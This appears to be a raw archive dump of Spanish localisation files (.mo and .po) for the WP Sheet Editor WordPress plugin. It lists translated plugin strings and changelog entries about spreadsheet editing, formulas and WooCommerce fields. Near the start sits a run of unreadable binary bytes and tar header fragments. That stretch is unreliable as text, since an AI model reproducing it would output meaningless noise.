Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_EC.mo000064400000026437147600365160013424 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ezRhN v;4Jp~R:NL)s#et_dYd m ^,!!"Z#2$$Z%vV&W&f%''(W")z)r!*q*P+$W+ |++-,Y=,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es_EC MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_UY.po000064400000032041147600365160013461 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_UY\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts-es_CR.po000064400000032041147600365160013430 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_CR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

